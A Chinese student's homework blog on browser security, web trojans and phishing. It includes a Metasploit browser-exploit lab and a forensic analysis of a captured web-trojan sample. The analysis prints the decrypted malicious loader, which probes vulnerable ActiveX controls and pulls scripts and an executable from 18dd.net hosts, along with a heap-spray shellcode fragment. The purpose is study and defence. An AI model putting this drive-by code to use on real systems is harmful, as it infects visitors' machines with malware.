20199103 2019-2020-2 《网络攻防实践》第12周作业

20199103 2019-2020-2 《网络攻防实践》第12周作业

1.实践内容

web浏览器安全威胁

web浏览器安全问题

  • 现在的web浏览器支持多种应用层协议,符合一系列页面标准规范,还支持js、flash、java等客户端环境,已经变得非常复杂。更加复杂也就意味着存在着更多的安全缺陷,所以目前浏览器存在着大量的安全漏洞。

  • 目前所有的浏览器几乎都支持第三方软件拓展,但是第三方软件的开发过程更加难以保证安全。

  • web浏览器始终处于联网状态,一旦有漏洞就很容易被攻击。

  • web浏览器安全威胁位置

    • 针对传输网络的网络协议安全威胁

    • 针对web浏览端系统平台的安全威胁:用户在浏览网页过程中所使用的浏览器软件、插件、应用都运行在桌面操作系统上,桌面操作系统的漏洞使得web浏览器环境有着被攻击的风险。

    • 针对浏览器软件及插件程序的渗透攻击的威胁:通过客户端渗透攻击向用户的桌面系统中植入恶意程序。

    • 针对用户的社会工程学攻击。

网页木马

  • 网页木马存在着特洛伊木马的特性,隐蔽地挂接在一些提供真实内容的网页上,然后在用户访问网页的时候,就会向用户的计算机植入恶意程序。

网页木马的技术基础

  • 网页木马持续存在的原因之一就是web浏览器软件的漏洞。

  • 网页木马的攻击漏洞的方式多种多样。

网页木马的机理分析

  • 网页木马的定义特性:网页木马是利用了现代web浏览器软件中所支持的客户端的脚本执行能力,来对浏览软件执行渗透攻击,然后植入恶意程序。所以,本质上来说,网页木马是针对web浏览端软件的渗透攻击代码。

  • 网页木马的机理分析:网页木马采用的是客户端渗透攻击,所以需要web软件端来主动访问相关的web网页才能触发攻击,对于攻击者来说是被动的。所以攻击者需要诱导受害者来主动访问页面。

  • 通过上图构造出的网页木马与二进制恶意代码有些许区别。

    • 多样化的攻击位置和技术类型:在网页木马中,为了提高渗透成功的概率,攻击者会集成多样化的攻击代码,这些代码里的攻击位置、利用的安全漏洞不尽相同。

    • 微观链接结构:为了扩大网页木马的影响范围,攻击者会采用多个木马宿主站点,然后将它们挂在大量的前端网页。有时候还会加入一些中间跳转的站点。

    • 灵活的抗分析能力:网页木马所利用的web客户端语言都支持灵活的操作,攻击者为了躲避木马检测,会利用灵活性,来对木马进行处理。

  • 网页木马的本质核心是利用web浏览器软件的安全漏洞和渗透攻击代码

网页挂马机制

  • 攻击者在编写完成木马之后,为了让用户访问,会讲网页木马挂在有用户访问的网站页面上。这一过程称为挂马。挂马主要有以下四种方法:

    • 内嵌html标签:将网站木马链接嵌入到网站首页或者其他页面之中。有时候攻击者还会利用层次嵌套,加入中间站点来混淆。

    • 恶意script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马。

    • 内嵌对象链接:利用图片、flash等内嵌对象来完成页面的加载。这种技术可以产生一种包含木马连接的图片或者flash文件。

    • arp欺骗挂马:这种方法不需要真正的攻陷目标,在攻击有着大量用户访问的网站尤其有效。在一个以太网网段内通过arp欺骗的方法进行中间人攻击,劫持所有进出的流量,然后再html反馈包中加入恶意脚本。

混淆技术

  • 攻击者常常会加入混淆技术来对抗相关防护软件的检测。目前的技术主要有:

    • 将代码重新排版,去除缩进;空行、换行、注释等。

    • 通过大小写变换,十六进制编码等方法。

    • 通过加密攻击进行加密得到密文,然后在脚本中加入解密函数。

    • 利用字符串运算、数学运算等方法混淆代码。

    • 修改网页木马文件掩码大袋欺骗软件的目的,或者对木马文件进行混淆。

检测和分析技术

  • 基于特征码匹配的传统检测方法:在发现一种新型的恶意代码后,反病毒机构会提取其中的特征码,更新到相关软件之中,然后可以进行相关检测。但是网页木马的混淆机制往往可以达到免杀效果。

  • 基于统计与机器学习的静态分析方法:包括基于判断矩阵法的网页恶意脚本检测方法、基于静态启发式规则的检测方法等。

  • 基于动态行为结果判定的检测方法:这时近年来最为有效的方法,这种方法利用了网页木马会植入恶意程序并激活的特性,通过构建蜜罐环境,来检测蜜罐在访问过程中是否出发了新启动进程、文件系统修改等系统状态变化。

  • 基于浏览器环境的动态分析方法:由于网页木马的混淆机制本质上利用了浏览器中脚本引擎对脚本代码的执行,所以有了基于模拟浏览器环境的动态分析方法。

网络钓鱼

  • 是一种典型的社会工程学的攻击方式,通过大量发送声称来自某个机构的信息,意图印有出收信人的敏感信息。

  • 其中有在攻陷的服务器上进行钓鱼,还有部署重定向服务搭建钓鱼攻击网络。

技术策略

  • 在指向假冒网站的链接中使用ip地址代替域名。

  • 注册相近的dns域名。

  • 在一个假冒钓鱼网站的电子邮件html内容中千余一些指向真是目标的网络链接。

  • 对假冒网站的url进行编码混淆。

  • 攻击用户网页浏览器存在的漏洞,然后隐藏消息内容。

  • 讲钓鱼网站配置成记录用户提交的所有数据并不可察觉的日志。

  • 假设一个假冒网站,作为一个目标网站的代理。

  • 通过恶意代码在被攻击者的计算机上安装相关的浏览器攻击,来引导到钓鱼网站。

  • 通过恶意代码取修改受害者计算机上的dns到ip的映射的hosts文件。

防范措施

  • 提高警惕,抱持怀疑态度。

  • 充分利用浏览器软件、厂商提供的反钓鱼网站的功能。

  • 进行重要操作的时候,要重视网站的真实性。

  • 锻炼自己的扛社会工程学能力。

2.实践过程

动手实践

  • 使用攻击机和windows靶机进行了浏览器渗透攻击实验。

  • 首先是打开软件,然后设置各种参数。paypload照旧选择反向链接

  • 然后开始运行,可以发现返回了个地址。

  • 然后打开靶机的浏览器打开这个地址

  • 打开之后再回到攻击机来查看

  • 可以发现session 1 opened。然后和之前的作业有一点不同是需要打开会话sessions -i 1,然后来验证,

取证分析实践

  • 首先使第一个难题,资料里并没有start和new09.所以就跳过这两个步骤。

  • 根据别人博客和答案,直接找到了md5.

  • 然后根据这个md5,从hash文件夹中找到文件。用记事本打开。

  • 然后注意到倒数第三行,t=utf8to16(xxtea_decrypt(base64decode(t), 'x73x63x72x69x70x74'));

  • 这个就是加密的密钥,不过这个密钥也是用16进制加密的。之后就能得到密钥。头疼的是尽管有了密钥,我并没有找到解密工具。

  • 之后强行继续,揭秘之后是遗传十六进制,然后进行十六进制转换。

  • 下面是转换之后完整的

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/1.js></script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/b.js></script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/pps.js></script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}
  • 这个文件有着很多的木马,漏洞有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”、“BaiduBar.Tool”,分别对应利用了微软数据库、暴风影音、PPStream(?) 和百度搜霸的漏洞。

  • 然后按照提示,对http://aa.18dd.net/aa/1.js、http://aa.18dd.net/aa/b.js、
    http://aa.18dd.net/aa/pps.js和http://down.18dd.net/bb/bd.cab寻找md5,分别得到了:5d7e9058a857aa2abee820d5473c5fa4 3870c28cc279d457746b3796a262f166
    5f0b8bf0385314dbe0e5ec95e6abedc2 1c1d7b3539a617517c49eee4120783b2

  • 然后就可以在hash中找到这些文件。首先看1.js

  • 我们将得到的进行16进制解密。

  • 发现这个文件显示下载了个014.exe的文件,然后是对adodb漏洞的利用。

  • 然后继续看b.js

  • 这个直接就看到一个packed,这也是一个加密工具。但是这个我也没找到解密工具。

  • 接着强行继续。揭秘之后好多东西我看不懂。但是在最后有一段

slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=b
igblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigbl
ock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fill
block;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var 
buffer='';while(buffer.length<4068)buffer+="x0ax0ax0ax0a";storm.rawParse(buffer
)

  • 可以看出来这里应该是有一个shellcode。对其再进行解密,最后发现又是一个可执行文件bf.exe。

  • 然后继续看pps。

  • 这次是八进制解密。揭开之后,发现也是一个shellcode,然后一个pps.exe可执行文件。

  • 最后使bd,这个直接使用压缩程序来打开,直接得到一个bd.exe。

  • 现在可以对比一下四个exe文件,发现大小完全一样,应该是同一个文件。所以我们来看pd.exe

  • 先检测一下壳。

  • 发现没有壳,还能看出来使用delphi编写的。

  • 然后用w32dasm来打开这个文件。

  • 可以有以下推论

    • 这个程序可能生成了一个批量处理文件,内容应该是检测文件的存在,删除某些文件。

    • 这个程序应该是再磁盘根目录下生成的。

    • 这个程序对注册表、系统文件等进行了修改。

    • 这个文件有一定的自我保护能力。

    • 这个文件下载一堆木马(好多exe文件)

  • 其实上面这些结论也可以通过查看字符串的方法来推断出来。

  • 像上面的自我防护。修改文件、根目录生成文件其实都是根据字符串来判断的。

  • 然后应该是动态分析。但是我又遇到了个问题,我找到的Total Uninstall要么就是只能卸载一些东西而已,要么就需要钱。(并且当前我最要紧的任务应该是看懂上面的,好多都不太懂。)

web浏览器渗透攻击攻防对抗

  • 在攻击方使用metasploit构造出至少两个攻击代码组装成url链接发送给被攻击方。

  • 被攻击方对链接进行提取解密,尝试恢复代码原始形态并看出使用了哪些漏洞。


  • 攻击过程在前面的实验已经做过,现在来看防守过程。

  • 首先我们可以再点开链接之后直接查看源代码来获取。当然也可以wireshark抓获。

  • 不过这个源代码的空格属实多到让人吐。再整理了之后其实重点再后面的很多数组

{BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36}', ' 
{BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30}
', ' {
    7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
', ' {
    6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
', ' {
    6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
', ' {
    06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
', ' {
    639F725F - 1B2D - 4831 - A9FD - 874847682010
}
', ' {
    BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
', ' {
    D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
', ' {
    E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
', ' {
    AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
', ' {
    0006F033 - 0000 - 0000 - C000 - 000000000046
}
', ' {
    0006F03A - 0000 - 0000 - C000 - 000000000046
}
  • 通过网上搜索这些数组,可以看出来利用的是ms06-014漏洞。

取证分析挑战实践

  • 通过分析给的网络记录文件,回答下列问题:

  • 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?

  • 列出IP地址、主机名、域名,猜测攻击场景的环境配置。

  • 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?

  • 请给出攻击者执行攻击动作的概要描述。

  • 攻击者引入了哪些技巧带来了困难。

  • 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?

  • shellcode执行了哪些操作?比较他们之间MD5的差异?

  • 在攻击场景中有二进制可执行代码参与吗?目的是什么?


  • 首先用chaosreader来打开文件。

  • 发现有很多的应用层协议,初步推断是http。

  • 然后用下面的一个很长的指令来查看有哪些ip地址和域名咋进行攻击。这个指令就是选取http
    .html文件读取,讲主机列出来。

for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http: ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http: ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host: ' | sort -u | sed -e 's/Host: //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
  • 然后得到结果

  • 分析得出受害者为10.0.2.15 10.0.3.15 10.0.4.15 10.0.5.15

  • 然后使用命令tshark -r suspicious-time.pcap | grep 'NB.*1e>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u发现其实这四个主机用射到相同的主机名。

  • 攻击场景环境应该是在虚拟机中,因为有较多的网卡。

  • 然后打开session_0006.part_01.html

  • 发现这应该是个钓鱼网站,对应的应该是之前的rapidshare.com.eyu32.ru。

  • 然后找session_0007.part_02.html,对应的是sploitme.com.cn。发现已经404了。

  • 然后再找shop.honeynet.sg/catalog/对应的文件session_0032.part_01.html

  • 攻击者动作的描述:攻击者把恶意js代码注入指向sploitme.com.cn/?click=x,当受害者访问这些页面的时候,重定向到伪装的404页面。下载了一些可执行文件,连接到honey.org。(这个我真的一点没懂,全靠参考大佬。)

  • 目标是那个操做系统?哪些软件,那些安全漏洞?

  • 从上图可以看出,应该是win系统,然后是ie软件。

  • 应对方法的话,应该就是勤加更新了吧?

  • 在wireshark中可以看到部分的shellcode,但是问题是我看不懂。由于也没能提取出来,所以也没有找到md5.

  • 最后,应该是有恶意软件的参与,攻击过程是使客户端下载文件并在本地执行。

3.学习中遇到的问题及解决

问题太多了。可能是因为这次综合性强,之前的作业跟着别人亦步亦趋也能似懂非懂,这次感觉不懂得地方太多了,整个实验好多步骤都是跟着答案和别人的博客来。

原文地址:https://www.cnblogs.com/maomutang/p/12921755.html